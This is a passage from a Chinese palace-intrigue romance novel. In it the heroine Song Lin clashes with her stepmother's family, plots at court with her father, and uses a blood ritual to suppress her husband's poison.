宋檩瞥了眼假山后边露出的一角衣料,眼中闪过笑意。宋姿还没反应过来,一个响亮的巴掌落在脸上。
她捂着火辣辣的半边脸,脑袋里嗡嗡作响,不可置信地看向宋檩,“你……打我?”
宋檩讽刺一笑,“怎么?想让我再来一巴掌?”她提步上前,停在与她并肩的地方,转头看向身边的人,低声道:“宋姿,给我记住了,你欠我的,我会全部要回来,这只是个开始。”
说完,她不顾身后的谩骂和威胁,大踏步往御花园的出口走去。
见到等候在那的瞿昙,她有些意外,这么快就说完了?也不知道聊了些什么。
“敢在御花园打未来的太子妃,胆子不小。”他的声音幽幽响起,揶揄意味很明显。
宋檩脚下微顿,动手的人还没走出案发现场就被他知道了,消息够灵通的啊!
她瞥了眼看好戏的男人,不假思索道:“她既仗着皇后的威风把我叫去,自然不会放过这个机会。何况她曾打过如今的秦王妃,我不过讨要点利息。”
瞿昙的眼神明显变了,她以往在相府过得都是什么日子,不是说宋明书很偏宠这个大女儿么?
“你放心,她不敢张扬出去!”
宋檩往前走了几步,发现身后的人没跟上,扭头疑惑道:“不是还要去拜见太后?我可不知路!”
还是理直气壮的样子看着舒服。
瞿昙大步上前,拽住她的胳膊往身后带,“王妃既然不认得路,就要跟紧了,丢了本王可不负责找人!”
宋檩被气笑了,朝他的背影挥了好几个拳头,气狠狠地跟上去。
二人在寿宁宫却扑了个空。
太后身边的宁嬷嬷入殿禀告,出来时带了太后的话,今日不见客。
从瞿昙的话语中可以发现,秦王府跟太后的关系有些微妙,对于她老人家不见客一事,宋檩不予置评。
站在
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她的角度,若当真不见客,昨晚到王府的宫人大可一并告知,没有说,就一定有猫腻。
瞿昙笑道:“既然太后身体不适,请宁嬷嬷代本王和王妃问好,待太后身子好些,本王再携王妃入宫请安。”
宁嬷嬷点头应下,目送二人离开后,转身往殿内去。
寿宁宫内,太后正歪着脑袋,坐在一旁闭目养神,一位年轻女子给她揉按头部。
“人走了?”
宁嬷嬷福身,“回太后,秦王夫妇已经离开了寿宁宫。”
“嗯。”她抬手睁眼,年轻女子欠身退下。
宁嬷嬷上前,扶她起身,“老奴不解,太后为何宣了秦王夫妇入宫又不见?”
太后兀自往门口走,望着长长的甬道出神,“皇上近来有了别的思虑,哀家总要替他探一探秦王府的底。”
“太后是担心秦王府会记恨?”宁嬷嬷想到了什么,悄问出声。
太后叹气,“毕竟是咱们做得过了。”眸子里却无半分悔意。
宁嬷嬷知此事到此为止,不宜再提,便不再作声。
“今日天气好,御花园的金丝菊开得正盛,太后可要去那里转转?”
太后不言,只由她搀着往御花园去。
“听说今日凤仪宫派人叫了秦王妃过去?”宁嬷嬷是太后带入宫里的娘家人,陪在身边大半辈子,关系非同一般。
“回太后,今儿太子带了宋二姑娘到凤仪宫请安,皇后就请了秦王妃过去叙旧。”
“不过老奴听说,宋家姑娘的关系不大好,秦王妃还在御花园打了宋二姑娘。”皇宫里根本藏不住秘密,宁嬷嬷将实情一一禀告。
太后停下脚步,有些诧异,没想到这秦王妃还是只带抓的猫。
“她倒是有胆,竟敢对未来的太子妃动手。”
宁嬷嬷继续道:“谁说不是呢?听说皇后见了宋二姑娘红肿的脸还关心了几句,那宋二姑娘愣是没敢说被打了,一个劲儿说是磕着了!”
太后对这位没见过面的秦王妃多了几分兴趣,暗道不愧是在文国公身边长大的人!
两人继续往御花园去,“哀家倒是觉得,这秦王妃更适合做太子妃!”
“太后这话可千万不能叫太子听了去,太子对这位秦王妃讨厌得不得了!”二人边走边说,一路笑声不断。
回去的马车上,确定已经安全,宋檩才问出声。
“圣上留你在养心殿,可是问起了东海五郡兵马之事?”
瞿昙望向那双星眸,他喜欢这双眼睛里闪烁着的智慧,“不错,正是此事。”
“怎么说?”宋檩等着他的回答。
“你与五殿下的关系很不错。”他却答非所问。
宋檩点头,一脸莫名,“我与阿兄幼时一同在外祖膝下受教,自是关系不错,王爷怎么知道?”
瞿昙眸子闪烁,“我看过你的嫁妆单子。”
原来如此,华承璟虽是私下给的嫁妆,但入王府的时候她特地嘱咐林歌写进单子。
“这事跟我阿兄有何关系?”宋檩发现,和瞿昙对话不能开小差,稍不留意就满头雾水。
瞿昙理了理襟口,坐得端端正正,在她一脸疑惑的注视之下,咧嘴道:“圣上问及东海兵马该由何人接管,我举荐了五殿下。”
宋檩愣在当场,此举,真是神来之笔!
20. 没那么娇气
在天一街往相府和王府的分岔口遇到了展颜,一问之下才知,是宋明书吩咐他在此等候二人。
今天的事她得告知爹爹,宋檩心里已经更偏向马上去相府。
但有瞿昙在,她不好满口应下,扭头问他的意思。
“你因我误了回门,合该回相府一趟,你若不急,我们先回王府准备一番再过来,若有急事,我先送你到相府,回头再去接你。”瞿昙给了两个选择,显然都不是她满意的。
宋檩已经起身,“王爷自行回府,此地距相府不过半炷香的脚程,我走过去就是了,也不耽搁你的时间!”
话落,不待他答应,已经掀开帘子下了车。
瞿昙无法,只得吩咐惊风回府。
宋檩就这样带着林歌空手走回了相府,展颜直接领她往书房去,哪知路上被侯氏母女堵了个正着。
“大姑娘回门怎么也不告知我这个主母一声?也好叫人备饭菜迎接!”侯宛仪大咧咧堵在路上,脸上一副看笑话的神态。
“呀!王爷没跟着一起回来?”她还故作往宋檩身后看了看,声音高得生怕听到的人不够多似的!
宋姿戴着面纱,应是脸上还没消肿,上前道:“王爷今日是和大姐姐一道入宫的,没来相府,定是有重要事情耽搁了。”
“什么事情比回门还重要?怕是人不重要,人的事也就没了份量!”宋沅从来都是那副尖酸刻薄样,见不得任何人好。
林歌听不过去要跟她们理论,被宋檩拦了下来。
今日找爹爹有要事谈,她可不想跟一些无关紧要的人浪费口舌。
“展颜,我们走!”
展颜见姑娘不追究,他也懒得搭理。
难得寻到可以奚落宋檩的机会,侯宛仪断不会轻易放过,她拔高了声音,“就说白眼狼喂不熟,从前相爷待她多好,如今回门连个碎茶渣子都没见着。”
“嫁出去的女儿泼出去的水,娘你还指望她做什么?”宋沅没好气道,母女俩一唱一和,句句不提她,句句在说她。
宋檩本不想跟她们理论,偏偏不知好歹往人底线上踩,很好!
她折身往回走,径直站在侯宛仪身边,“二位在这阴阳怪气谁呢?”
侯宛仪被她突如其来的架势吓了一跳,尤其是眼神,看得她心里发怵。
“我如今好歹是秦王妃,侯夫人见了我不行礼就罢了,还这般奚落,当真觉得秦王府好欺负是吧?”
“还有你!”不待侯宛仪出声,她又转向宋沅,“你我同为女子,将来也会出嫁,何苦这般咄咄逼人?”
“我才不会跟你一样!”宋沅梗着脖子狡辩。
宋檩斜了她一眼,跟看傻子似的,提步往书房去。母女几人还想拦住她,展颜叫侍卫挡了回去。
“给秦王妃请安。”甫一进书房门就被行了个大礼。
宋檩忙扶住他的胳膊,“爹爹这是作甚?”
“礼不可废。”宋明书笑呵呵迎她入座,模样谄媚极了。
宋檩无语,“爹爹怎么不问我为何一个人回来?”
宋明书摆手,毫不在意道:“我儿天生丽质,又聪慧过人,瞿家小子敢怠慢你,是他的损失!”
她家爹爹总是对她有盲目的偏宠,这一点得到了宋檩的反复证实。
“爹爹,今日我来,是有要事相告。”
宋檩拉着他一同坐下,凑上前低声说话,“今日我与王爷入宫,圣上留他问话,关于东海五郡兵马一事,他举荐了阿兄。”
宋明书喝茶的手一顿,似乎也没料到此事。
“东海五郡可谓大昭粮仓,自郡马平了海寇,兵符一直在嘉安郡主手中。说来也奇怪,圣上一向不管兵马之事,近来却频频问及。”
“爹爹也知道圣上要给嘉安郡主赐婚的事?”她抓起一块糕点,细口咀嚼。
“怎么不知?文献礼这事就是我的主意。”他神秘兮兮道。
原来如此!
宋檩看他的眼神变了,作为国公府亲女婿的宋明书尚能得到圣上恩宠,他举荐的人自然可用。
何况,她敢保证,圣上没找出爹爹的错处来。
“你上回说了自己的打算,爹爹自然要助你一臂之力!”他拍了拍宋檩的肩膀,笑得一脸慈爱。
“阿兄此番回京是为和胡人谈判,我原本还担心结束后他会回北疆,那样的话我们太被动了。”
“若是能成功节制东海五郡兵马,他就可以留在中都。”
只有留在中都,才有可能成为杀出重围的黑马。
宋明书摸了摸下巴,认可她的主意,也有他的担忧,“东海五郡兵马虽属朝廷,但这些年东海无战事,俨然成了东海王府的部曲。”
“五殿下能收为己用再好不过。”
任何事都没有绝对得好,让阿兄留在中都才是首要事,何况治军是他的强项。
“此事拜托爹爹了!”宋檩恳切道。
“旁人的话圣上或许疑上三分,但为父的话,圣上还是能信上三分的,这事为父心里有数,放心吧。”
“说说你和瞿家小子的事。”
宋檩一用力,差点把手上的糕点捏碎,抬头茫然地看着那张满是八卦的脸,“我跟他什么事?”
宋明书瞪了她一眼,明知故问。
“爹爹也不是非要打听你们年轻人的事,但他身子不行,总要给你个说法,万一哪天没扛过去,你怎么办?”
没想到她家爹爹思想这么前卫,宋檩眼角轻抽,“其实……他的身子也没那么糟糕。”
给他治毒一事不能暴露,宋檩含糊其辞。
宋明书见她不愿谈及此事,也不逼迫,“你不愿说我就不问,阿眠,秦王府,你打算如何安置?”
将来如何且不论,就他那个东海五郡兵马接管人的举荐,已经帮了大忙。
这条路本就难,少一个敌人就多一分成功。
宋檩也在发愁,通过这几次接触,瞿昙是个非常不错的盟友。但秦王府多年来明哲保身,未必肯加入一场没有胜算的斗争。
开弓没有回头箭,得想个两全的法子把秦王府摘出去。
“爹爹放心,此事我会认真考虑。”
“相爷,姑娘,秦小王爷来了。”展颜的声音传入书房。
虽说来接她,但宋檩清楚他回府干什么,竟然这么快就来了。
宋明书笑呵呵地往外走,宋檩不情不愿地跟在他身后。
来到大门口,果见惊风领着人将车上的东西往府里搬,瞿昙还穿着那身入宫时的衣服,正往他们这边走来。
“小婿见过岳父大人。”
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“王爷客气,请!”宋明书瞧着大箱小箱往府里搬运的场景乐开了花,脸上的笑一直没消失过。
不是他非要王府拿多少东西,至少此举在外人看来,王府很重视他的阿眠。
宋明书领了人就往书房走,突然顿住脚,转身对着宋檩道:“阿眠,王爷身子弱,你去敬方院收拾个屋子给王爷休息。”
宋檩不语,到底什么事非得把她支开了说?
“女儿知道了。”
书房内,展颜换上新沏的茶,带上房门退了出去。
宋明书收起脸上的笑,“听说昨日阿眠在城外遇刺,是王爷的人及时赶到,下官替阿眠谢王爷搭救。”
瞿昙放下手中茶盏,神色莫名,“保护王妃,是王府侍卫的职责。”
那也得他这个主子发话才作数。
为人父,他认为瞿昙是个不错的丈夫人选,就是身体差了些。同为男人,他不觉得瞿昙此举毫无私心。
“阿眠这孩子,自幼就没了娘,我一个大男人哪会养孩子?自觉这些年亏欠她太多,不求王爷为她掏心掏肺,至少别伤她。”
瞿昙眸子忽动,“相爷放心,本王只要还在一日,就会护她一日。”
能得秦小王爷承诺已经够了,阿眠绝不是能被圈养的主。
他灵机一动,突然道:“王爷舟车劳顿,要不要去敬方院歇一歇?”
瞿昙知敬方院是她出阁前住的地方,没有拒绝。
“展颜,带王爷去敬方院。”
敬方院内,宋檩正在听林武汇报华承璟那边传来的消息,看到瞿昙过来,招手让他退下。
瞿昙瞄了他一眼,往屋里走。
“王爷与我爹爹都说了什么?”宋檩一边打量他的神色,一边打探他们背着自己说的话。
宋檩站在门口没有挪开,甚至两手抱胸倚在了门框上,大有他不说就不让进的架势。
瞿昙虽然身子不好,但常年习武身材健硕,往门口一站就挡住了半个门。
他慢慢靠近,居高临下看着眼前的人,生起玩心,压低了头道:“岳父大人在教我如何对王妃好。”
说话就说话,靠这么近做什么?
宋檩被他突然地靠近吓了一跳,本能地往后退,忘了身后的门,后脑勺直接磕在上边,发出一记闷响。
她双手抱着脑袋蹲下身,以求缓解痛感。
“磕着了?我看看。”瞿昙眼里闪过一抹急色,当即便要蹲下身查看。
宋檩倏地跳开,懊恼出声,“你离我远点就行!”
瞿昙默默收回手,紧抿着唇,“撞到脑袋可不是小事,马上回王府,让黎樾看一下。”
哪有那么严重!宋檩胡乱揉着被撞的地方,一脸不悦,“没那么娇气,我揉揉就好了。”
叫了几下林歌都没应声,瞿昙摁住她的手,神情凝重,“别动。”
宋檩根本不敢动,任由他取下发饰,揉按被磕了的地方。
林歌进来的时候就到这样一幕,姑娘坐在竹榻上,长发散落在胸前,王爷正在她的脑袋上揉按。
临门一脚,她到底是进去还是转身就走?
瞿昙看见了她,面不改色道:“有点肿,回头找黎樾拿点药。”
宋檩直接起身,瞪了林歌一眼,板着脸道:“替我梳妆。”
21. 请王妃用膳
从相府回来,林歌就觉察自家姑娘不对劲,同在一个院子里住着,却偏偏事事避着王爷。
比方说刚才,明明一只脚都跨出了门槛,看见王爷在门口就立马折返。
林歌见她趴在圆桌上发呆,凑上前道:“姑娘还出门吗?”
宋檩摇了摇头,噌地立起身,“我改主意了,今儿不出门!”
“咱们不去廷尉府,也不去见五殿下了?”刚才还好好的,怎么一会儿的工夫就变了?
她看向大门口的身影,莫非跟王爷有关?
正百思不得其解之时,安管事的声音传进院来,林歌看了自家姑娘一眼,忙将人迎进屋里。
“安管事,什么事劳您亲自跑这一趟?”林歌给他端了茶。
安管事接过喝了一口,“王妃的事岂能马虎?”
“适才门房来报,门口有个自称春意的姑娘想见王妃,说是有要事禀告,老奴拿不定主意,就把人带进了府,王妃可要见她?”
春意?
林歌看了自家姑娘一眼,得到授意才跟安管事道:“春意是相府的人,我这就把她领过来。”
再见到春意,宋檩差点没认出来。
比之上回在相府,如今的她虽未施粉黛,却圆润了不少。
宋檩的视线落在她护住小腹的手上,这是有身孕了?
“奴婢给王妃请安!”她正要跪下,被林歌托住。
“我们姑娘不兴这一套,你如今有了身子,坐下吧,来找姑娘有何事?”
春意给两人都行了礼才坐下。
她摸着肚子,笑得一脸满足,“奴婢去庄子没多久就跟张四好了,他是庄子里的车夫,平日跟着管事进城送货。”
“今日奴婢进城扯几匹布,想给小家伙做点衣裳,没承想在布庄碰到了个人。”
“我们认识?”林歌继续道。
春意如今过得还不错,犯不着为个无关痛痒的人惹得姑娘不悦。
她点头如捣蒜,“奴婢碰到了阿庆!”
宋檩和林歌对视一眼,阿庆打理的铺子确实有个布庄,碰见不足为奇。
春意见二人反应平平,有些心急,“王妃有所不知,那阿庆可是齐嬷嬷的亲闺女,齐嬷嬷又是侯夫人的心腹,岂能叫她打理铺子?”
林歌先前查过阿庆的身份,只道是家道败落,和齐嬷嬷的关系倒是出乎意料。
“她可认出你了?”
春意摇头,“应该没有,阿庆并不住相府,奴婢跟她原也没见过几面。”
“你做得很好,此事我已知晓,莫要声张。”她给林歌使了个眼色。
林歌自怀中掏出一袋碎银子,“姑娘赏罚分明,这是你应得的,我送你出府。”
古老的人没有传来任何消息,可见阿庆十分谨慎,那几个铺子的人暂时不能动了。
“王妃!”她正在想事,林武突然出现,吓了她一激灵。
林歌跟在她身边,林武主要负责对外联系,他无事不出现,一冒头定是带来了消息。
宋檩坐直了身子,“何事?”
“相爷派人送来的消息。”他双手奉上信封,眼观鼻鼻观心,绝不胡乱打量。
宋檩拆开一看,是宋明书的字迹,告知她今日朝堂所议之事。东海五郡兵马未有提及,讨论的是和胡人谈判。
早朝未下,宫里就派人去请华承璟了。
幸好她没出门,否则此行必定扑空。
与胡人打交道,华承璟最有发言权,无论谈判结果如何,他都不可能置身事外。
宋檩想起自己在竹林小院说过的话,也不知他听进去几分。
“此事我知道了。”她摆了摆手,林武消失在屋子里。
林歌回来的时候抱了一沓账本,“这是上个月的账本,还有几家铺子没送来。”
“方才属下碰到了黎神医,说是姑娘需要的药材都准备齐全了,桑公子那边的房子已经施工,邀请姑娘去监工。”
宋檩摆手,兀自翻阅账簿,“我就不去了。”
林歌瞧她心情还不错,把个小瓷瓶放在桌上,嘿嘿一笑,“黎神医托我交给姑娘。”
瓶身上大大的“消肿祛瘀”十分碍眼,看得后脑勺隐隐作痛,她别开眼,闷闷道:“收起来吧。”
她是真不想要,可黎樾给的都是好东西,丢了实在可惜。
“诶!”林歌强忍着不打趣她。
侯宛仪几次在宋檩跟前折了面子,母女三人都恨不能踩在她头上。
“娘,你让舅舅问问婚期就行,舅舅得圣上宠爱,他若提及此事,必然能成!”宋姿捂着被打的半张脸,啜泣成声。
“宋檩敢在御花园打我,无非仗着秦王妃的身份,只要我一日不与太子殿下完婚,她就一日压在咱们头上,娘难道不想姿儿早日成为太子妃吗?”
侯宛仪被她哭得心软,姿儿是她最优秀的女儿,打小倾注了多少心血在她身上,就是为了看到她成器。
如今她既是琴师的弟子,又得陛下赐婚,中都城多少夫人都羡慕她命好!
她拍了拍宋姿的手,“姿儿放心,今晚娘就去找你舅舅。”
“姿儿愿和娘一起去!”宋姿反抓住她的手。
侯宛仪看了她一眼,忽地抽回手,一脸严肃道:“不行。”
“为何?姿儿也想去见见舅舅。”
宋姿一直有个疑惑,娘告诉过她,是舅舅选择了她,所以打小她的用度都是最好的。
可外人眼中很厉害的舅舅,她却从未见过。就连悦儿表妹也只在集会上见过,双方交集并不多。
她是未来的太子妃,合该跟卫使府多走动,这也是皇后娘娘的意思。
这么多年,娘每回去卫使府都不带她和宋沅,碍于爹爹,舅舅也从不来相府,她连自家舅舅长什么样都不知道。
侯宛仪自然知晓因果,但他们有言在先,若冒然领姿儿去卫使府,恐兄长会生气。
可姿儿毕竟是兄长亲点的,又很会讨人欢心,若真得了兄长庇护,她也跟着沾光。
宋姿见她仍是一副犹豫不决的样子,拉住她的胳膊就撒娇,“娘,你就带姿儿一起去吧,姿儿保证不给你丢脸!”
“好,你收拾一下,跟娘一起去!”她终于下定决心。
“娘,沅儿也想去舅舅府中。”宋沅听到她带宋姿去,心下一喜,提出同行。
“不行。”侯宛仪想都没想就拒绝,“你留在府里,若你爹问起,也好有个照应。”
宋沅看着手挽手一路笑着出去的两人,眼里一片冰凉,好像她们才是亲母女,自己是个多余的。
“春雨,我先前让你查的事如何了?”
春雨是她的贴身婢女,两人一起长大,怎会不明白她的心思?
但在相府,她深知忤逆夫人的下场,犹豫不决道:“
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三姑娘,咱们当真要走这一步吗?夫人知道了会不高兴……”
“怎么?我的话不管用了?”
春雨被她的眼神吓到,哆嗦地跪在地上,不敢吭声。
“废物!”宋沅骂了她一句,拉开房门走了出去。
太阳西斜,侯宛仪领了宋姿出门,二人虽乔装过,还是被宋檩的人撞见了。
她面无表情听着林武的话,好像这一切都在意料之中。
“侯氏的偏私注定那姐妹俩不可能处得来,何况宋沅性子好强,不可能甘居人后,你继续盯着,有什么动静随时来报。”
林武领命离去。
林歌瘪嘴,“姑娘今日晚膳想吃什么?”
宋檩摸了摸肚子,还真有点饿了。
她还没开口,安管事出现在院门口。
“老奴给王妃请安。”安管事每回见她都是笑呵呵的,不知道的还以为是个爱笑老头。
“安管事找我有何事?”
安管事心里苦,王爷王妃成亲以来就在饭桌上吃过一顿饭,这几日王妃更是有意避开王爷,可不是好兆头啊!
为了王府的未来,他必须做点什么!
“王爷差老奴来请王妃去膳食厅用晚膳。”
宋檩眨巴着眼,一副不相信的神情,“王爷请我去膳食厅用膳?可有说什么事?”
安管事暗暗叫嚣,我的王妃呀!就吃顿饭还需要什么事啊!
面上却不显,故作不知道:“老奴也不清楚,估摸是王爷的毒又发了。”
宋檩立马起身,毒发不早点告诉她!
“走,去膳食厅。”
膳食厅里,自上回宋檩邀他一同用膳后,府里下人就默认备上两份碗筷,他知这是安管事的主意,也不戳破,只命人撤下就是。
今日他正要吩咐人撤下一副碗筷,就见宋檩火急火燎赶了过来,不觉眼前一亮。
宋檩二话不说,摁着他的肩膀让人坐下,胡乱踢了个凳子坐在边上,作势就要扒开他的衣服检查。
瞿昙被她的动作吓得太阳穴突突跳,严严实实捂住襟口,身子不断后仰,“王妃这是做甚?”
安管事也惊呆了,反应过来后赶紧招呼人退下,临走前还不忘朝瞿昙挤眉弄眼。
猜到是安管事从中作怪,瞿昙一脸无奈。
“你抓着我的手做什么,我要看你的胸口!”被他抓住了手动不得,宋檩有些生气,都毒发了还不老实。
虽然不清楚他中的什么毒,但上回她有注意到,一旦毒发,他左边胸口的颜色会变深。
若实在不行,大不了拿刀挖个洞,把毒吸出来!
瞿昙被她弄得哭笑不得,“王妃想看,回屋了随意看,这里是膳食厅,给本王留点体面。”
宋檩瞬间清醒,再看两人的处境,方才一番折腾,她整个人窝在对方怀里,怎么看都觉得暧昧。
腾地一下站起身,后退两步远站定,环顾四周,发现无人在场才松了口气。
她眼神闪烁,暗骂自己心急,“听说你毒发了,我那也是担心你才……”
瞿昙理了理衣襟,眼神里藏不住的笑,“王妃的心意,本王自然知晓,不急在这一时,先吃饭。”
他拿了筷子递过去,示意她坐下吃饭。
宋檩打量着他,没看出什么来,想起他先前毒发的场景,料定是那次泡水后得到缓解,接过筷子,坐下吃饭。
22. 狗男人咬的
卫使府书房里,侯振培板着脸看向跟前的两人。
“婉仪是忘记与为兄的约定了?”他一脸严肃,眼神冰凉,给人不怒自威之感。
侯宛仪一阵哆嗦,强扯着笑道:“婉仪不敢。”
“我看你敢得很!”他一巴掌拍在椅子扶手上,木头椅子根本挨不住,瞬间歪倒。
“不打招呼来我府上不说,还带了个外人,你是嫌不够乱吗?”
真正的发火都是悄无声息的,虽然拍坏了一把椅子,他的声音却一直没变,侯宛仪知他生气了。
她害怕这位兄长,可当着女儿的面被训斥又有损颜面。“都是婉仪的错,是打是罚我都认。”
“只是姿儿长这么大还没见过兄长,头一回见面,莫要吓到孩子。”她拉过宋姿的胳膊,低声讨好。
宋姿是个会看眼色的主,知道舅舅对她们意味着什么,也明白舅舅在圣上身边的份量,自然得好好表现一下。
“姿儿见过舅舅,是姿儿央着娘过来的,还请舅舅不要怪娘。”她落落大方,举止得体,语气倒也诚恳。
侯振培瞥了她一眼,言行举止还算大方得体,脸色缓和了些,“你来见我为何事?”
这话是对宋姿说的。
身为天子近臣,他很清楚自己的份量。圣上信任他,并非完全是那件事。
太子和承王斗了这么多年,明里暗里抛出的筹码翻了几番,他从不偏私,一门心思替圣上办事。
毕竟一朝天子一朝臣,圣上虽身子还算硬朗,到底年事已高。
他必须为自己留后路。
宋姿胜任太子妃之位绰绰有余,陆家不敢怠慢。但他们毕竟是舅甥关系,圣上不会允许他打破朝堂平衡。
承王妃的人选多半是悦儿。
这事若叫侯氏母女知晓,定会跟他闹,必须瞒下来。
第一次见到这位权臣舅舅,宋姿又喜又怕。听他问自己话,眼睛一亮,笑道:“姿儿今日随娘前来,实在是想见舅舅一面。”
“姿儿能有今日,全赖舅舅栽培。”
“姿儿明白舅舅爱护羽翼,不与朝臣往来,但仅凭卫使府毕竟独木难支,请舅舅相信姿儿。”
她说话讨巧,不直接提要求,也没有拿准太子妃的身份说事。而是把刀柄递过去,由他差遣。
侯振培仔细打量跟前的女子,不过刚及笄的年龄,比悦儿大不了多少,能有如此胆识,当属同龄人中的佼佼者。
若将来太子成了事,她坐上后宫宝座不无可能。
那晚派去秦王府的人全部被杀,尸首还被捅到了御前,好死不死偏偏太子和承王也出动了人,这事儿他就是打落牙齿往肚子里咽。
圣上已经敲打过了,难免对他生戒心。
侯振培握紧了拳头,负手而立,他不能坐以待毙。
“坐下说。”他心下有了决断,语气态度松快不少。
宋姿松了口气,只要舅舅高兴,她就成功了一半。
侯宛仪面上一喜,拉着她落座,要知道,往常她来卫使府都没这待遇,战战兢兢听完吩咐就得离开。
“你们今夜前来,可是为了赐婚一事?”侯振培的声音突然响起,母女俩的心思又被提到半空。
二人对视一眼,宋姿咬了咬嘴唇不说话,面露难色。
侯宛仪见状忙道:“什么都瞒不过兄长,今夜前来叨扰,确实跟赐婚一事相关。”
她的视线在侯振培身上扫过,没觉察出生气迹象,继续道:“姿儿和宋檩的赐婚圣旨是一同到的相府,那时有宋檩在前,姿儿只能等。”
“眼下宋檩已经和秦小王爷完婚,姿儿跟太子的事情却迟迟没有动静,日子久了恐会生变,所以想托兄长问个究竟。”
侯振培的眼神在母女俩身上来回转动,问道:“我怎么听说姿儿近来几次随太子到凤仪宫请安,皇后待你不错。”
一说起这事宋姿就委屈,皇后哪是待她不错?每回都拿她的身份说事,即便白先生已经收她做弟子,和陆家那样的世家比起来,相府根本不够看。
皇后没有给她难堪,还不是因为爹爹和舅舅?
爹爹不可能跟她站在一边,娘说得对,相府不会成为她的靠山,想要坐上太子妃的位子,只能靠舅舅。
“皇后毕竟出自陆家,姿儿的出身在她眼里根本不够看。”
陆皇后心气高一事,侯振培早有耳闻,虽没打过交道,也见过几回。论长相并不比薛贵妃差,比不得她受宠,不过是不屑用手段。
但婚事乃圣上亲赐,皇后再如何也不能忤逆皇权。
他瞥了眼宋姿,抬手道:“此事我心里有数,待时机成熟,自会跟圣上提起,在此之前你们别再惹事。”
话落,他看向侯宛仪,似提醒又似警告。
这样的答案非她们所愿,时机成熟?时机何时才算成熟?半年?还是一年,甚至更久。
她的婚事不能再拖下去。
太子不是秦王,太子妃的位子也不是秦王妃能比的,多少人盯着,只要她一日没有名正言顺,圣旨又如何?
这种被宋檩踩在脚下的日子,她真是受够了!
宋姿看向侯宛仪,求她再与舅舅说道。
侯宛仪无法,只能开口,“婉仪知兄长公务繁忙,只是婚姻大事,又关乎皇家,我这心里没底,也不踏实。”
侯振培并不吃她这一招,“胡人使臣马上抵京,朝堂上下一致对外,此时提起婚事,太子必定讨圣上嫌,休怪我没提醒你们。”
母女俩面面相觑,朝堂事大,不敢再提。
想完婚是一码事,若因此让太子得了圣上嫌,皇后必定把这笔账记在她头上,宋姿可不想把她得罪了。
下马车时侯宛仪就注意到她情绪不对,一路上也没说话,眼瞧着就要分道了,她叫住了人。
“姿儿,咱们要听你舅舅的话,他既然说了时机不对,那必定是成不了的。”
她替宋姿理了理发丝,怜爱道:“中都城现下人人都知你与太子的婚事,一时也无人敢说什么,得了空就去寻他,多陪陪他,必要的时候……”
见四下无人,她凑上前,附在宋姿耳边低语起来。
“娘!我怎么能……”那样做!
宋姿又羞又气,小脸涨得通红。
侯宛仪瞧着娇俏的女儿,越发满意,“羞什么?娘又没叫你使那些下三滥手段!”
“姿儿,这事你得听娘的。太子再如何,那也是男人,他待你并非没有情,情到浓时,佳人才子,不过是水到渠成的事。”
宋姿把她往一边推,“我知道了娘,你快回吧!”
两人离开后,宋沅从游廊漏窗后闪现,眼神紧紧盯着侯宛仪院落的方向。
方才两人的对话她都听到了,才子佳人,情到浓时,确实是个不错的法子,她打算去试一试。
秦王府,宋檩正在花园饭后消食,听了林武汇报,笑得意味深长,“她如此有魄力,我这个做姐姐的,自然不能袖手旁观。”
“你去查一下承王近日的外出活动,再想法子透露给宋沅。”
林歌抿唇压住嘴角,她家姑娘可真是个人美心善的大好人。
两人正有说有笑间,惊风急急忙忙跑到跟前,告知她王爷毒发了。
“真毒发了?”
安管事诓她过去用晚膳的事她已经知道了,再想拿毒发说事她就不理了。
惊风一脸急色,“属下拿性命担保!”
“王爷用完晚膳到书房,突然倒地不起,属下正要靠近,就见他毒发他
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,根本没法靠近!”
事关人命,宋檩顾不得那么多,提了裙子就往书房跑。
“王妃,你可算来了!”黎樾见了她跟抓住救命稻草似的,只差哭出声。
宋檩瞥他一眼,这回倒是聪明了,知道站远些。
眼下她很忙,不能倒下,使用阵法压制一事行不通。更何况如今毒发频繁,指不定什么时候又发作,需得寻个温和的法子。
“这里交给我,你们都退下。”
黎樾和惊风信得过她,虽然想留下观望,但她既然发话了,也不做停留,立马退到院子外面。
趁他不注意,宋檩蹿到跟前,就在他走神之际,指尖落在他眉心,口中念念有词。
几息过后,瞿昙两眼一闭,歪倒在地上。
她拍了拍手,轻轻踢了几下,发现地上的人没了动静,才蹲下身,扒开他的衣襟。
果见左胸前的皮肤已经变了色。
睡眠阵法既然对人有用,让他体内的毒暂时休眠问题不大,只是需要媒介。
宋檩最终放弃了在他身上挖个洞,时机未到,一旦发生变故,她就脱不开身了。
她取下头上的发簪,一狠心在掌心划开口子,血液沿掌纹流下。
瞿昙的身子被放平,撬开他的嘴,把血滴进去。
已经挨痛流血,今日这毒她势必得压下。
宋檩举着受伤的手,确保一滴都不浪费全进他的嘴。另一只手也没闲着,指腹沿他的喉向下,引导血液至心口。
为确保媒介足够,她一遍遍引导,全部精力分成了两股,根本没注意到地上的人眼球微动,已有醒来的架势。
待媒介足够,她掌心向下,紧贴着胸口那块深色的皮肤,运转起阵法。
阵法一旦开始就不能随意停止,中途被打断她会遭反噬,索性没有外人在场,衣衫不整也无需在意。
眼看着那处皮肤的颜色归于正常,宋檩才放松下来,脸上露出了笑。
哪知她还没收手,地上的人突然转醒,抓住她的胳膊就把人往地上拽。
宋檩一个趔趄跌在他身上,胳膊被扯脱臼了。
阵法还没结束,她可不想被反噬。
“嘶!”
一扭头发现自己整个肩膀裸露在外,他竟一口咬住了!
狗男人,就不该救他!
宋檩气不过,加快了手上动作,待阵法结束,一巴掌扇在他脸上,狗男人倒地上彻底没了知觉。
她扭头看向被咬了一口的肩膀,狗男人还真是力气大,竟然直接咬破了皮!
宋檩理了理衣服,捂着脱臼的胳膊起身,还不忘狠狠往他胳膊上踢了一脚,也懒得给他整理衣衫,转身就往门外走。
院外等待的人一见她就迎上去,瞧她脸色臭臭的,想问又不敢问出声。
“姑娘受伤了?”林歌眼见,发现她胳膊不对劲。
黎樾忙上前检查,发现只是胳膊脱臼,才松了口气,“胳膊脱了臼,我这就替王妃诊治。”
惊风见他们都跟着王妃去了,扭头往院子里跑,他得先去看看王爷。
宋檩板着脸,正在气头上,黎樾猜想他们不在的这段时间一定发生了什么,加之他无意间瞥到了王妃肩头的痕迹。二话没说,处理好胳膊,包扎了她手上的伤口,留下一瓶止血消肿的药就离开了。
“替我处理一下肩上的伤。”一想到那狗男人就来气。
林歌默默替她清洗伤口,抹药包扎。这牙印肯定是王爷咬的,姑娘现下气在心头,她不说,自己就不问。
“姑娘,方才林武回来,说承王三日后会去燕鹭湖游船,已经传信三姑娘。”
又有好戏看了,宋檩的脸色终于缓和下来。
“很好,我们也去游船。”
23. 我有个主意
